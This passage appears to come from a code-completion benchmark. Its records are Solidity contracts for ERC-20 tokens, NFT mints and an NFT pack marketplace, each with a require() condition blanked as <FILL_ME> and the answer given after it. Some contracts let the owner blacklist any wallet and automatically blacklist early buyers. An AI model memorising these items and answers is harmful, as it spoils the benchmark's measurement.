(uint256) { } function approve(address spender, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function totalBurned() public view returns (uint256) { } function burning(address _account, uint _amount) private { } function removeAllFee() private { } function restoreAllFee() private { } function removeJeetTax() external { require(<FILL_ME>) j_jeetSell = 0; } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function setMaxTxn(uint256 maxTransaction) external { } function swapTokensForEth(uint256 tokenAmount) private lockSwap { } function swapETHForTokens(uint256 amount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { } function sendETHToFee(uint256 amount) private { } function manualSwap() external { } function manualSend() external { } function _transferAgain(address sender, address recipient, uint256 amount, bool takeFee) private { } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external { } function setSwapAmount(uint256 _swapAmount) external { } function turnOnTheBurn() public onlyOwner { } function buyPyro(uint256 amount) private { } function setBuyPyroRate(uint256 buyPyroToken) external { } }
_msgSender()==scorcherWallet
116,862
_msgSender()==scorcherWallet
"Max Fees limit is 20% combined"
contract StreetFighter is ERC20, Ownable { uint256 public buyFee = 10; // 10% buy marketing fee uint256 public sellFee = 10; // 10% sell marketing fee uint256 public marketingShare = 50; //fee share uint256 public devShare = 50; //fee share uint256 public maxWalletLimit = 1e13 * 1e9; //1% of the supply uint256 public swapTokensAtAmount = 1e7 * 1e9; //tokens swap threshold (1 million tokens) uint256 private tradingStartAt; address public uniswapV2Pair; address public marketingWallet; address public devWallet; IUniswapV2Router02 router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //uniswap v2 router mapping(address => bool) public blacklisted; mapping(address => bool) public excludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; bool public tradingEnabled; bool private swapping; bool public swapEnabled; constructor () ERC20("Street Fighter", "KO"){ } function decimals () public pure override returns (uint8){ } receive () external payable {} ///@dev manage the blacklist ///@param account: wallet or bot to be blacklisted ///@param isBot: bool value, true means (blacklisted), false means unblacklisted function blacklist(address account, bool isBot) external onlyOwner { } ///@dev update the token amount for swap ///@param newAmount: new swap amount function updateSwapAtAmount (uint256 newAmount) external onlyOwner { } ///@dev update max Wallet amount ///@param maxHoldingAmount: new max wallet limit ///Requirements: amount must be greator than equals to 1 percent of the total supply function updateMaxWallet(uint256 maxHoldingAmount) external onlyOwner { } ///@dev set fees for buy and sell ///@param buy: new buy fees ///@param sell: new sell fees ///Requirements -- /// buy and sell fees should be less than equals to 20 function setFees (uint256 buy, uint256 sell) external onlyOwner { buyFee = buy; sellFee = sell; require(<FILL_ME>) } ///@dev enable trading ///once enbaled, it can never be turned off function enableTrading() external onlyOwner{ } ///@dev add or remove new pairs ///@param newPair: address of new pair ///@param value: bool value, true means set new pair, false means remove pair from list function updateAutomatedPairs (address newPair, bool value) external onlyOwner { } ///@dev update wallets ///@param nMarketing: new marketing wallet address ///@param nDev: new dev wallet address function updateMarketingAndDevWallets (address nMarketing, address nDev) external onlyOwner { } ///manage the transfer and fees function _transfer(address from,address to,uint256 amount) internal override { } ///@notice swap the collected tax tokens to ether function swapAndLiquify(uint256 tokens) private { } ///@dev claim stucked ether ///only dev or marketing wallet can call this function function claimStuckEth () external { } ///@dev claim stucked tokens ///@param token: token address to rescue ///@param amount: amount of stucked token function claimStuckedTokens( IERC20 token, uint256 amount) external{ } ///@dev update the wallet shares for fees ///@param marketing: marketing share ///@param dev: dev share function updateWalletShares (uint256 marketing, uint256 dev) external onlyOwner { } }
buyFee+sellFee<=20,"Max Fees limit is 20% combined"
116,873
buyFee+sellFee<=20
"Blacklisted"
contract StreetFighter is ERC20, Ownable { uint256 public buyFee = 10; // 10% buy marketing fee uint256 public sellFee = 10; // 10% sell marketing fee uint256 public marketingShare = 50; //fee share uint256 public devShare = 50; //fee share uint256 public maxWalletLimit = 1e13 * 1e9; //1% of the supply uint256 public swapTokensAtAmount = 1e7 * 1e9; //tokens swap threshold (1 million tokens) uint256 private tradingStartAt; address public uniswapV2Pair; address public marketingWallet; address public devWallet; IUniswapV2Router02 router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //uniswap v2 router mapping(address => bool) public blacklisted; mapping(address => bool) public excludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; bool public tradingEnabled; bool private swapping; bool public swapEnabled; constructor () ERC20("Street Fighter", "KO"){ } function decimals () public pure override returns (uint8){ } receive () external payable {} ///@dev manage the blacklist ///@param account: wallet or bot to be blacklisted ///@param isBot: bool value, true means (blacklisted), false means unblacklisted function blacklist(address account, bool isBot) external onlyOwner { } ///@dev update the token amount for swap ///@param newAmount: new swap amount function updateSwapAtAmount (uint256 newAmount) external onlyOwner { } ///@dev update max Wallet amount ///@param maxHoldingAmount: new max wallet limit ///Requirements: amount must be greator than equals to 1 percent of the total supply function updateMaxWallet(uint256 maxHoldingAmount) external onlyOwner { } ///@dev set fees for buy and sell ///@param buy: new buy fees ///@param sell: new sell fees ///Requirements -- /// buy and sell fees should be less than equals to 20 function setFees (uint256 buy, uint256 sell) external onlyOwner { } ///@dev enable trading ///once enbaled, it can never be turned off function enableTrading() external onlyOwner{ } ///@dev add or remove new pairs ///@param newPair: address of new pair ///@param value: bool value, true means set new pair, false means remove pair from list function updateAutomatedPairs (address newPair, bool value) external onlyOwner { } ///@dev update wallets ///@param nMarketing: new marketing wallet address ///@param nDev: new dev wallet address function updateMarketingAndDevWallets (address nMarketing, address nDev) external onlyOwner { } ///manage the transfer and fees function _transfer(address from,address to,uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(<FILL_ME>) require(tradingEnabled || excludedFromFees[from] || excludedFromFees[to], "Trading not yet enabled!"); if (amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && automatedMarketMakerPairs[to] && swapEnabled ) { swapping = true; swapAndLiquify(contractTokenBalance); uint256 ethBalance = address(this).balance; uint256 marketingPart = (ethBalance * marketingShare) / 100; uint256 devPart = (ethBalance * devShare) / 100; (bool m,) = marketingWallet.call{value: marketingPart}(""); require (m, "eth to marketing wallet failed"); (bool d,) = devWallet.call{value: devPart}(""); require(d, "eth to dev wallet failed"); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (excludedFromFees[from] || excludedFromFees[to]) { takeFee = false; } uint256 totalFee = buyFee + sellFee; uint256 fees = 0; /// only take fees on buys/sells, do not take on wallet transfers if (takeFee && totalFee > 0) { if(!automatedMarketMakerPairs[to]){ require (balanceOf(to) + amount <= maxWalletLimit, "Max wallet limit exceeds"); } /// on sell if (automatedMarketMakerPairs[to]) { fees = (amount * sellFee) / 100; } /// on buy if (automatedMarketMakerPairs[from]) { fees = (amount * buyFee) / 100; ///first two blocks blacklisted if(block.number <= tradingStartAt + 2){ blacklisted[to] = true; } } if (fees > 0) { super._transfer(from, address(this), fees); } amount = amount - fees; } super._transfer(from, to, amount); } ///@notice swap the collected tax tokens to ether function swapAndLiquify(uint256 tokens) private { } ///@dev claim stucked ether ///only dev or marketing wallet can call this function function claimStuckEth () external { } ///@dev claim stucked tokens ///@param token: token address to rescue ///@param amount: amount of stucked token function claimStuckedTokens( IERC20 token, uint256 amount) external{ } ///@dev update the wallet shares for fees ///@param marketing: marketing share ///@param dev: dev share function updateWalletShares (uint256 marketing, uint256 dev) external onlyOwner { } }
!blacklisted[to]&&!blacklisted[from],"Blacklisted"
116,873
!blacklisted[to]&&!blacklisted[from]
"Trading not yet enabled!"
contract StreetFighter is ERC20, Ownable { uint256 public buyFee = 10; // 10% buy marketing fee uint256 public sellFee = 10; // 10% sell marketing fee uint256 public marketingShare = 50; //fee share uint256 public devShare = 50; //fee share uint256 public maxWalletLimit = 1e13 * 1e9; //1% of the supply uint256 public swapTokensAtAmount = 1e7 * 1e9; //tokens swap threshold (1 million tokens) uint256 private tradingStartAt; address public uniswapV2Pair; address public marketingWallet; address public devWallet; IUniswapV2Router02 router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //uniswap v2 router mapping(address => bool) public blacklisted; mapping(address => bool) public excludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; bool public tradingEnabled; bool private swapping; bool public swapEnabled; constructor () ERC20("Street Fighter", "KO"){ } function decimals () public pure override returns (uint8){ } receive () external payable {} ///@dev manage the blacklist ///@param account: wallet or bot to be blacklisted ///@param isBot: bool value, true means (blacklisted), false means unblacklisted function blacklist(address account, bool isBot) external onlyOwner { } ///@dev update the token amount for swap ///@param newAmount: new swap amount function updateSwapAtAmount (uint256 newAmount) external onlyOwner { } ///@dev update max Wallet amount ///@param maxHoldingAmount: new max wallet limit ///Requirements: amount must be greator than equals to 1 percent of the total supply function updateMaxWallet(uint256 maxHoldingAmount) external onlyOwner { } ///@dev set fees for buy and sell ///@param buy: new buy fees ///@param sell: new sell fees ///Requirements -- /// buy and sell fees should be less than equals to 20 function setFees (uint256 buy, uint256 sell) external onlyOwner { } ///@dev enable trading ///once enbaled, it can never be turned off function enableTrading() external onlyOwner{ } ///@dev add or remove new pairs ///@param newPair: address of new pair ///@param value: bool value, true means set new pair, false means remove pair from list function updateAutomatedPairs (address newPair, bool value) external onlyOwner { } ///@dev update wallets ///@param nMarketing: new marketing wallet address ///@param nDev: new dev wallet address function updateMarketingAndDevWallets (address nMarketing, address nDev) external onlyOwner { } ///manage the transfer and fees function _transfer(address from,address to,uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklisted[to] && !blacklisted[from], "Blacklisted"); require(<FILL_ME>) if (amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && automatedMarketMakerPairs[to] && swapEnabled ) { swapping = true; swapAndLiquify(contractTokenBalance); uint256 ethBalance = address(this).balance; uint256 marketingPart = (ethBalance * marketingShare) / 100; uint256 devPart = (ethBalance * devShare) / 100; (bool m,) = marketingWallet.call{value: marketingPart}(""); require (m, "eth to marketing wallet failed"); (bool d,) = devWallet.call{value: devPart}(""); require(d, "eth to dev wallet failed"); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (excludedFromFees[from] || excludedFromFees[to]) { takeFee = false; } uint256 totalFee = buyFee + sellFee; uint256 fees = 0; /// only take fees on buys/sells, do not take on wallet transfers if (takeFee && totalFee > 0) { if(!automatedMarketMakerPairs[to]){ require (balanceOf(to) + amount <= maxWalletLimit, "Max wallet limit exceeds"); } /// on sell if (automatedMarketMakerPairs[to]) { fees = (amount * sellFee) / 100; } /// on buy if (automatedMarketMakerPairs[from]) { fees = (amount * buyFee) / 100; ///first two blocks blacklisted if(block.number <= tradingStartAt + 2){ blacklisted[to] = true; } } if (fees > 0) { super._transfer(from, address(this), fees); } amount = amount - fees; } super._transfer(from, to, amount); } ///@notice swap the collected tax tokens to ether function swapAndLiquify(uint256 tokens) private { } ///@dev claim stucked ether ///only dev or marketing wallet can call this function function claimStuckEth () external { } ///@dev claim stucked tokens ///@param token: token address to rescue ///@param amount: amount of stucked token function claimStuckedTokens( IERC20 token, uint256 amount) external{ } ///@dev update the wallet shares for fees ///@param marketing: marketing share ///@param dev: dev share function updateWalletShares (uint256 marketing, uint256 dev) external onlyOwner { } }
tradingEnabled||excludedFromFees[from]||excludedFromFees[to],"Trading not yet enabled!"
116,873
tradingEnabled||excludedFromFees[from]||excludedFromFees[to]
"sum of shares must be 100"
contract StreetFighter is ERC20, Ownable { uint256 public buyFee = 10; // 10% buy marketing fee uint256 public sellFee = 10; // 10% sell marketing fee uint256 public marketingShare = 50; //fee share uint256 public devShare = 50; //fee share uint256 public maxWalletLimit = 1e13 * 1e9; //1% of the supply uint256 public swapTokensAtAmount = 1e7 * 1e9; //tokens swap threshold (1 million tokens) uint256 private tradingStartAt; address public uniswapV2Pair; address public marketingWallet; address public devWallet; IUniswapV2Router02 router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //uniswap v2 router mapping(address => bool) public blacklisted; mapping(address => bool) public excludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; bool public tradingEnabled; bool private swapping; bool public swapEnabled; constructor () ERC20("Street Fighter", "KO"){ } function decimals () public pure override returns (uint8){ } receive () external payable {} ///@dev manage the blacklist ///@param account: wallet or bot to be blacklisted ///@param isBot: bool value, true means (blacklisted), false means unblacklisted function blacklist(address account, bool isBot) external onlyOwner { } ///@dev update the token amount for swap ///@param newAmount: new swap amount function updateSwapAtAmount (uint256 newAmount) external onlyOwner { } ///@dev update max Wallet amount ///@param maxHoldingAmount: new max wallet limit ///Requirements: amount must be greator than equals to 1 percent of the total supply function updateMaxWallet(uint256 maxHoldingAmount) external onlyOwner { } ///@dev set fees for buy and sell ///@param buy: new buy fees ///@param sell: new sell fees ///Requirements -- /// buy and sell fees should be less than equals to 20 function setFees (uint256 buy, uint256 sell) external onlyOwner { } ///@dev enable trading ///once enbaled, it can never be turned off function enableTrading() external onlyOwner{ } ///@dev add or remove new pairs ///@param newPair: address of new pair ///@param value: bool value, true means set new pair, false means remove pair from list function updateAutomatedPairs (address newPair, bool value) external onlyOwner { } ///@dev update wallets ///@param nMarketing: new marketing wallet address ///@param nDev: new dev wallet address function updateMarketingAndDevWallets (address nMarketing, address nDev) external onlyOwner { } ///manage the transfer and fees function _transfer(address from,address to,uint256 amount) internal override { } ///@notice swap the collected tax tokens to ether function swapAndLiquify(uint256 tokens) private { } ///@dev claim stucked ether ///only dev or marketing wallet can call this function function claimStuckEth () external { } ///@dev claim stucked tokens ///@param token: token address to rescue ///@param amount: amount of stucked token function claimStuckedTokens( IERC20 token, uint256 amount) external{ } ///@dev update the wallet shares for fees ///@param marketing: marketing share ///@param dev: dev share function updateWalletShares (uint256 marketing, uint256 dev) external onlyOwner { require(<FILL_ME>) marketingShare = marketing; devShare = dev; } }
marketing+dev==100,"sum of shares must be 100"
116,873
marketing+dev==100
"already mint out"
/* ============================================== SkullApeYachtClub ============================================== */ pragma solidity ^0.8.0; /** * @title SkullApeYachtClub */ contract SkullApeYachtClub is ERC721A, Ownable { bool public saleIsActive = true; uint256 public Price = 0.045 ether; string private _baseURIextended = "https://skullapeyachtclub.s3.us-west-1.amazonaws.com/metadata/"; address private proxyRegistryAddress; constructor() ERC721A("SkullApeYachtClub", "SAYC",500) { } function setBaseURI(string memory baseURI_) external onlyOwner() { } function _baseURI() internal view virtual override returns (string memory) { } function setPrice(uint256 newPrice) public onlyOwner { } function mint(uint256 numberOfTokens) external payable { uint256 totalNum = 10000; require(<FILL_ME>) require((Price * numberOfTokens) <= msg.value, "Don't send under (in ETH)."); _safeMint(msg.sender, numberOfTokens); } function mintBatch(address to, uint256 quantity) external onlyOwner { } function gift(address _to,uint256 numberOfTokens) external onlyOwner { } function withdraw() public onlyOwner { } }
totalSupply()+numberOfTokens<=totalNum,"already mint out"
117,153
totalSupply()+numberOfTokens<=totalNum
"already mint out"
/* ============================================== SkullApeYachtClub ============================================== */ pragma solidity ^0.8.0; /** * @title SkullApeYachtClub */ contract SkullApeYachtClub is ERC721A, Ownable { bool public saleIsActive = true; uint256 public Price = 0.045 ether; string private _baseURIextended = "https://skullapeyachtclub.s3.us-west-1.amazonaws.com/metadata/"; address private proxyRegistryAddress; constructor() ERC721A("SkullApeYachtClub", "SAYC",500) { } function setBaseURI(string memory baseURI_) external onlyOwner() { } function _baseURI() internal view virtual override returns (string memory) { } function setPrice(uint256 newPrice) public onlyOwner { } function mint(uint256 numberOfTokens) external payable { } function mintBatch(address to, uint256 quantity) external onlyOwner { uint256 totalNum = 10000; uint256 maxBatchSize = 500; require(<FILL_ME>) require(quantity % maxBatchSize == 0, "can only mint a multiple of the maxBatchSize"); uint256 numChunks = quantity / maxBatchSize; for (uint256 i = 0; i < numChunks; i++) { _safeMint(to, maxBatchSize); } } function gift(address _to,uint256 numberOfTokens) external onlyOwner { } function withdraw() public onlyOwner { } }
totalSupply()+quantity<=totalNum,"already mint out"
117,153
totalSupply()+quantity<=totalNum
'Action is inconsistent.'
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param _packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require(<FILL_ME>) require(purchaseData.shareAddresses[1] != address(0), 'FundTreasury cannot be zero.'); require(purchaseData.shareAddresses[2] != address(0), 'FeeCollector cannot be zero.'); require( (purchaseData.shares[0] + purchaseData.shares[1] + purchaseData.shares[2]) == HUNDRED_PERCENTS, 'Shares must be equal 100000 (100%)' ); require(missions[purchaseData.missionId].id > 0, "Mission with this id doesn't exists."); require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
hasRole(SIGNER_MARKETPLACE_ROLE,_getSigner(msg.sender,purchaseData,v,r,s)),'Action is inconsistent.'
117,280
hasRole(SIGNER_MARKETPLACE_ROLE,_getSigner(msg.sender,purchaseData,v,r,s))
'FundTreasury cannot be zero.'
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param _packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require( hasRole(SIGNER_MARKETPLACE_ROLE, _getSigner(msg.sender, purchaseData, v, r, s)), 'Action is inconsistent.' ); require(<FILL_ME>) require(purchaseData.shareAddresses[2] != address(0), 'FeeCollector cannot be zero.'); require( (purchaseData.shares[0] + purchaseData.shares[1] + purchaseData.shares[2]) == HUNDRED_PERCENTS, 'Shares must be equal 100000 (100%)' ); require(missions[purchaseData.missionId].id > 0, "Mission with this id doesn't exists."); require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
purchaseData.shareAddresses[1]!=address(0),'FundTreasury cannot be zero.'
117,280
purchaseData.shareAddresses[1]!=address(0)
'FeeCollector cannot be zero.'
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param 